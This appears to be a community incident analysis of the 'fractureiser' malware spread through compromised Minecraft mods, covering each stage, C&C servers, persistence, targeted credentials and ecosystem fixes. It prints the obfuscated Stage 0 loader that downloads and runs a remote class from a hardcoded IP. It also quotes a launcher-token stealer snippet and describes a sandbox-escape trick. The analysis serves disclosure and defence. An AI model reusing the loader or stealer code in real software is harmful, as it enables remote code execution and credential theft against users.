Some modpacks have had updates published for them without the knowledge of the authors, adding a dependency on malicious mods. These modpack updates were archived immediately after uploading, meaning they do not show on the web UI, only via the API.
The malicious mods have upload dates multiple weeks in the past. Most of them were uploaded by single-use accounts with clearly autogenerated names, and were likely the seed of the infection. Luna Pixel Studios was compromised due to a dev testing one of these mods, as it was an interesting new upload.
Note: This list is non-comprehensive. It was constructed in the early days of investigation and quickly we realized the scope of this was much larger than we thought, making tracking of individual cases pointless. It's left here for historical purposes.
See also CurseForge's list of affected projects.
Darkhax sent this: https://gist.github.com/Darkhax/d7f6d1b5bfb51c3c74d3bd1609cab51f
potentially more: Sophisticated Core, Dramatic Doors, Moonlight lib, Union lib
Affected mods or plugins have a new static void
method inserted into their main class, and a call to this method is inserted into that class's static initializer. For DungeonZ, the method is named _d1385bd3c36f464882460aa4f0484c53
and exists in net.dungeonz.DungeonzMain
. For Skyblock Core, the method is named _f7dba6a3a72049a78a308a774a847180
and is inserted into com.bmc.coremod.BMCSkyblockCore
. For HavenElytra, the code is inserted directly into the otherwise-unused static initializer of valorless.havenelytra.HavenElytra
.
The method's code is obfuscated, using new String(new byte[]{...})
instead of string literals.
From D3SL sample of "Create Infernal Expansion Plus", a copycat version of "Create Infernal Expansion Compat" with malware inserted into the main mod class:
static void _1685f49242dd46ef9c553d8af1a4e0bb() {
Class.forName(new String(new byte[] {
// "Utility"
85, 116, 105, 108, 105, 116, 121
}), true, (ClassLoader) Class.forName(new String(new byte[] {
// "java.net.URLClassLoader"
106, 97, 118, 97, 46, 110, 101, 116, 46, 85, 82, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114
})).getConstructor(URL[].class).newInstance(new URL[] {
new URL(new String(new byte[] {
// "http"
104, 116, 116, 112
}), new String(new byte[] {
// "85.217.144.130"
56, 53, 46, 50, 49, 55, 46, 49, 52, 52, 46, 49, 51, 48
}), 8080, new String(new byte[] {
// "/dl"
47, 100, 108
}))
})).getMethod(new String(new byte[] {
// "run"
114, 117, 110
}), String.class).invoke((Object) null, "-114.-18.38.108.-100");
}
This:
- Creates a
URLClassLoader
with the URLhttp://[85.217.144.130:8080]/dl
(shodan) - Loads the class
Utility
from the classloader, fetching code from the internet - Calls the
run
method onUtility
, passing a String argument different for each infected mod (!). E.g.- Skyblock Core: "
-74.-10.78.-106.12
" - Dungeonz: "
-114.-18.38.108.-100
" - HavenElytra: "
-114.-18.38.108.-100
" - Vault Integrations: "
-114.-18.38.108.-100
"
- Skyblock Core: "
The passed numerals are parsed as bytes by Stage 1 and written to a file named ".ref". They appear to be a way for the author to track infection sources.
The creation of the classloader is hardcoded to that URL and does not use the Cloudflare URL that Stage 1 does. As that IP is now offline, this means the Stage 0 payloads we are presently aware of no longer function.
SHA-1: dc43c4685c3f47808ac207d1667cc1eb915b2d82
Decompiled files from the Malware can be found here.
The very first thing Utility.run
does is check if the system property neko.run
is set. If it is, it will immediately stop executing. If not, it sets it to an empty string and continues. This appears to be the malware trying to avoid executing itself multiple times, such as if it had infected multiple mods. This cannot be relied upon as a killswitch because Stage1 is downloaded from the Internet and may change.
It attempts to contact 85.217.144.130
, and a Cloudflare Pages domain (https://files-8ie.pages.dev/ip
). Abuse reports have already been sent. The Pages domain is used to retrieve the IP of the C&C server if the first IP no longer responds — the URL responds with a binary representation of an IPv4 address.
The C&C IP has been nullrouted after an abuse report to the server provider. We will need to keep an eye on the Cloudflare page to see if a new C&C server is stood up, I can't imagine they didn't plan for this. Thank you Serverion for your prompt response.
The Cloudflare Pages domain has been terminated. There is a new C&C server located at 107.189.3.101
.
Stage 1 then attempts to achieve persistence by doing the following:
- Downloading Stage 2 (lib.jar on Linux, libWebGL64.jar on Windows) from the server
- Making Stage 2 run automatically on startup:
- On Linux, it tries placing systemd unit files in
/etc/systemd/system
or~/.config/systemd/user
- The unit file it places in the user folder never works, because it tries using
multi-user.target
, which doesn't exist for user units
- The unit file it places in the user folder never works, because it tries using
- On Windows, it attempts to modify the registry
(
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
) to start itself, or failing that, tries adding itself to theWindows\Start Menu\Programs\Startup
folder
Known sha1 hashes:
52d08736543a240b0cbbbf2da03691ae525bb119
6ec85c8112c25abe4a71998eb32480d266408863
(D3SL's earlier upload)
Stage 2 is obfuscated with a demo version of the Allatori obfuscator, and its main class is called Bootstrap
.
It additionally contains another class called named h
which seems to be a simple communications class, but is empty
otherwise. You can view an attempt to reconstruct the source code at
https://gist.github.com/SilverAndro/a992f85bec29bb248c354ccf5d2206fe
When launched it does the following:
- Open port
9655
and add a shutdown hook to close it when the jvm closes. - Locate itself on disk and works next to itself
- If
.ref
exists, it reads the identifier key from the file - Launches a loop to
- Checks with
https://[files-8ie.pages.dev]:8083/ip
for the server and attempts to connect to it - Receives a flag for if the update check should continue, throwing if not (reported to the server on port
1338
) - If so, receives a hash and checks it against
client.jar
if it exists, sending back a byte for if it wants to update - If so, receives and overwrites/creates
client.jar
, hiding it using file attributes - Loads and invokes the static method
dev.neko.nekoclient.Client#start(InetAddress, refFileBytes)
- Sleeps for 5 seconds
- Checks with
sha-1: c2d0c87a1fe99e3c44a52c48d8bcf65a67b3e9a5
sha-1: e299bf5a025f5c3fff45d017c3c2f467fa599915
client.jar
is an incredibly obfuscated and complex bundle of code and contains both java and native code.
It contains a native payload hook.dll
, decompiled: https://gist.githubusercontent.com/NotNite/79ab1e5501e1ef109e8030059356b1b8/raw/c2102bf5ff74275ac44c2200d5121bfff652fd49/hook.dll.c
There are two native functions meant to be called from Java, as they are JNI callable:
__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveClipboardFiles(__int64 a1);
__int64 __fastcall Java_dev_neko_nekoclient_api_windows_WindowsHook_retrieveMSACredentials(__int64 a1);
From analysis, these do what they say on the tin:
- Read clipboard contents
- Steal Microsoft account credentials
There is also evidence of code attempting to do the following:
- Scan for all jar files on the system that look like Minecraft mods (by detecting Forge/Fabric/Quilt/Bukkit), or declare a Main class (most plain Java programs) and attempt to inject Stage 0 into them
- Steal cookies and login information for many web browsers
- Replace cryptocurrency addresses in the clipboard with alternates that are presumably owned by the attacker
- Steal Discord credentials
- Steal Microsoft and Minecraft credentials, from a variety of launchers
- Steal crypto wallets
Jars are heuristically detected as Minecraft mods or plugins as follows:
- Forge (
dev/neko/e/e/e/A
): The malware attempts to locate the@Mod
annotation, which is required in every mod - Bukkit (
dev/neko/e/e/e/C
): The malware checks if a class extends Bukkit'sJavaPlugin
class - Fabric/Quilt (
dev/neko/e/e/e/i
): The malware checks if a class implementsModInitializer
- Bungee (
dev/neko/e/e/e/l
): The malware checks if a class extends Bungee'sPlugin
class - Vanilla (
dev/neko/e/e/e/c
): The malware checks if the main client classnet.minecraft.client.main.Main
exists
Around 2023-06-07 14:20 UTC the Stage 3 client jar was seemingly accidentally replaced with an unobfuscated version. You can find the archive here: https://github.com/clrxbl/NekoClient
This validates the suspected behavior/evidence from the analysis done on the prior obfuscated client.jar
sample.
Replication is handled through automatic processing of classes in jar files across the entire filesystem on the local machine. Any jar file that contains classes meeting certain critera is subject for infection. The process of scanning the local file system and injecting malicious code can be found here: dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])
The critera that the process looks for can be found here: dev/neko/nekoinjector/template/impl
BungeecordPluginTemplate
looks for the interfacenet/md_5/bungee/api/plugin/Plugin
in classesFabricModTemplate
looks for the interfacenet/fabricmc/api/ModInitializer
in classesForgeModTemplate
looks for the annotationnet/minecraftforge/fml/common/Mod
in classesMinecraftClientTemplate
looks for the existence ofnet/minecraft/client/main/Main.class
andnet/minecraft/client/gui/GuiMultiplayer.class
in the jarSpigotPluginTemplate
looks for the super-typeorg/bukkit/plugin/java/JavaPlugin
in classes- If none of the above match the class, it will attempt to infect the main class of the jar file - if one exists.
The malicious code injected is the backdoor logic seen in Stage 0. The way that injection works is that the malicious code is declared in the Loader
class in a static method. The Injector
class that is adjacent to it is responsible for extracting the code from Loader
and inserting it into new classes targeted for infection. The return value of Injector.loadInstallerNode(...)
is a MethodNode
outlining the infection process itself. Now they just need to add that method to the targeted class. Back in the dev/neko/nekoclient/Client.start(InetSocketAddress, byte[])
they call Entry.inject(MethodNode)
to achieve this. To ensure the malicious method is invoked this inject
method adds logic to the targeted class's static initializer that invokes the added method. Since the static initializer is run when the class first loads, and the target class is a plugin/mod the assumption is this code will always be triggered by users who run infected modpacks or servers. After this, they repackage the jar with the newly infected target class.
Something not commonly seen in JVM malware - that is present here - is a class titled VMEscape
. It checks if its in Windows Sandbox by checking if the current user is WDAGUtilityAccount
. If this condition is met, an attempt to escape Windows Sandbox is made.
The process is roughly as follows:
- Start a repeating thread to run the following actions:
- Create a temporary directory using
Files.createTempDirectory(...)
- Iterate over
FileDescriptor
entries in the system clipboard which mirrors the hosts clipboard - Create a shortcut that looks like the original file (using icons from SHELL32) but instead invokes the malware
- Assings this shortcut to the clipboard, overwriting the original file reference
- Create a temporary directory using
Thus, if a user copies a file and goes to paste it elsewhere they will instead paste a shortcut that looks like their intended file, but actually runs the malware.
MSA Tokens: Since this mod is targeting Minecraft mods, it's only natural to attempt to steal the MSA token used to login to Minecraft with. Some launchers keep this data in a local file, which this malware will attempt to read from. This affects a variety of launchers such as:
- The vanilla/mojang launcher
- The legacy vanilla/mojang launcher
- PolyMC / Prism
- Technic
- Feather
- LabyMod (< v3.9.59)
- And any MSA token found in the Windows Credential Manager
The retrieval logic (seen in dev/neko/nekoclient/api/stealer/msa/impl/MSAStealer.java
) looks similar across a number of items since they store this data in a similar way. For example here is the laby-mod code:
private static void retrieveRefreshTokensFromLabyMod(List<RefreshToken> refreshTokens) throws IOException {
String appdata = System.getenv("APPDATA");
if (Platform.isWindows() || Objects.isNull(appdata)) {
Path path = appdata == null ? null : Paths.get(appdata, ".minecraft", "LabyMod", "accounts.json");
if (Files.isReadable(path)) {
extractRefreshTokensFromLabyModLauncher(refreshTokens, Json.parse(Files.readString(path)).asObject());
}
}
}
The code for retrieving tokens from Feather/PolyMC/Prism is essentially identical.
The change from this strategy to the vanilla launchers is that the Json has an additional layer of cryptography protecting it.
The change from this strategy to Technic is that Technic stores credentials using Java's built-in object serialization, wrapping the com.google.api.client.auth.oauth2.StoredCredential
type.
Discord tokens: Everyone's seen a token-stealer before. Steals token and extra information such as payment methods, linked phone number, etc. Affects the standard client, canary, ptb, and lightcord clients. Relevant source: dev/neko/nekoclient/api/stealer/discord/DiscordAccount.java
Cookies & Saved credentials: Steals cookies and login credentials saved in affected browsers. Relevant source: dev/neko/nekoclient/api/stealer/browser/impl/BrowserDataStealer.java
- Mozilla Firefox
- Waterfox
- Pale Moon
- SeaMonkey
- Chrome
- Edge
- Brave
- Vivaldi
- Yandex
- Slimjet
- CentBrowser
- Comodo
- Iridium
- UCBrowser
- Opera
- Beta
- Developer
- Stable
- GX
- Crypto
- CryptoTab
Stage 3 was replaced with another jar some time after the second C&C server was stood up.
It appears to be just the SkyRage updater, which is another Minecraft malware targetting BlackSpigot.
- Windows: Task Scheduler
MicrosoftEdgeUpdateTaskMachineVM
, file%AppData%\..\LocalLow\Microsoft\Internet Explorer\DOMStore\microsoft-vm-core
- Linux:
/bin/vmd-gnu
,/etc/systemd/system/vmd-gnu.service
, servicevmd-gnu
- C&C server:
connect.skyrage.de
- Downloading:
hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/qqqqqqqqq
qqqqqqqqq
jar extracts all kinds of information (browser cookies, Discord, Minecraft, Epic Games, Steam login, also some stuff about crypto wallets and password pamangers), which update jar uploads to C&C server- replaces crypto coin addresses in clipboard with address received from
95.214.27.172:18734
- persistence (see above)
- contains auto-updater, current version is 932 (
hxxp://t23e7v6uz8idz87ehugwq.skyrage.de/version
)
These are the mappings for this sample, which can be applied via Enigma or another tool supporting Engima mappings.
CLASS D Chat
CLASS E ChatChain
CLASS E$a ChatChain$ChainLink
CLASS F ClientChat
CLASS G EncryptionRequest
CLASS H EncryptionResponse
CLASS H$a EncryptionResponse$EncryptionData
CLASS J KeepAlive
CLASS L LoginPayloadResponse
CLASS O PluginMessage
CLASS O$1 BungeeCordProtocolVersionMapFunction
CLASS P SetCompression
CLASS R StatusResponse
CLASS T CryptocurrencyClipboardLogger
CLASS T$1 CryptocurrencyClipboardLogger$LowLevelKeyboardHook
CLASS U AutoRunPersistence
CLASS V InputStreamFileWriter
CLASS W OperatingSystem
CLASS X AutoUpdater
CLASS Y StacktraceSerializer
CLASS a MalwareClientConnectionHandler
CLASS b Main
FIELD a intconst I
FIELD a string0 Ljava/lang/String;
FIELD a ipAddress Ljava/net/InetSocketAddress;
CLASS g MinecraftBot
CLASS h MinecraftBot2
CLASS o MinecraftFriendlyByteBuf
CLASS s MinecraftIPAddressResolver
CLASS t MinecraftPacketDecoder
CLASS y MinecraftPacketEncryption
This sample appears to abuse technicalities in the class-file to crash decompiler tools. Such exploits can be fixed using CAFED00D, a bytecode parser that filters out malformed attributes. After this, the only remaining hassle is basic obfuscation applied by Allatori demo.
More details are available in the live Stage 3 reversal doc: https://hackmd.io/5gqXVri5S4ewZcGaCbsJdQ
When the second C&C server was stood up, a deobfuscated version of Stage 3 was accidentally served for around 40 minutes.
The main payload server is was (got taken down) hosted on Serverion, a company based in the Netherlands.
The new C&C has been taken down as well. 2023-06-07 18:51 UTC
Other than an HTTP server on port 80/443 and an SSH server on port 22, the following ports were open on 85.217.144.130
and 107.189.3.101
:
- 1337
- 1338 (a port referenced in Stage 1's file for creating new Debugger connection)
- 8081 (this is a WebSocket server - no apparent function right now, not referenced in any malicious code)
- 8082 (nobody's gotten anything out of this one, not referenced in any malicious code)
- 8083 (contacted by Stage 1)
Curiously, fractureiser's bukkit page says "Last active Sat, Jan, 1 2000 00:00:00" https://dev.bukkit.org/members/fractureiser/projects/
Please ask in the IRC chat for read or read/write access to samples. Source code of the decompiled Stage 3 client is available: https://github.com/clrxbl/NekoClient
While it's a bit early to speak of long term follow-ups, this whole debacle has brought up several critical flaws in the modded Minecraft ecosystem. This section is just brainstorming on them and how we can improve.
What exactly does CurseForge and Modrinth do when "reviewing" a mod? We should know as a community, instead of relying on security through obscurity. Should we be running some sort of static analysis? (williewillus has a few ideas here)
Unlike the software industry at large, mods released and uploaded to repositories are usually not signed with a signing key that proves that the owner of the key uploaded the mod. Having signing and a separate key distribution/trust mechanism mitigates CurseForge accounts getting compromised.
However, this then leads to the greater issue of how to derive key trust, as the fact that "this jar has this signature" has to be communicated out of band from CurseForge/Modrinth, in a standard way so that loaders or users can verify the signatures. Forge tried to introduce signing many years ago and it had limited uptake.
Minecraft toolchains are a mess, and builds are usually not reproducible. It is common to have buildscripts fetching unpinned -SNAPSHOT versions of random Gradle plugins and using them, which results in artifacts that are non-reproducible and thus non-auditable.
A random Gradle plugin being a future attack vector is not out of the question.
Java edition modding has always had the full power of Java, and this is the other side of that double-edged sword: malicious code has far-reaching impact. Minecraft itself is not run with any sandboxing, and servers usually are not sandboxed unless the owner is knowledgeable enough to do so.
Good sandboxing is difficult, especially on systems such as Linux where SELinux/AppArmor have such poor UX that no one deploys them.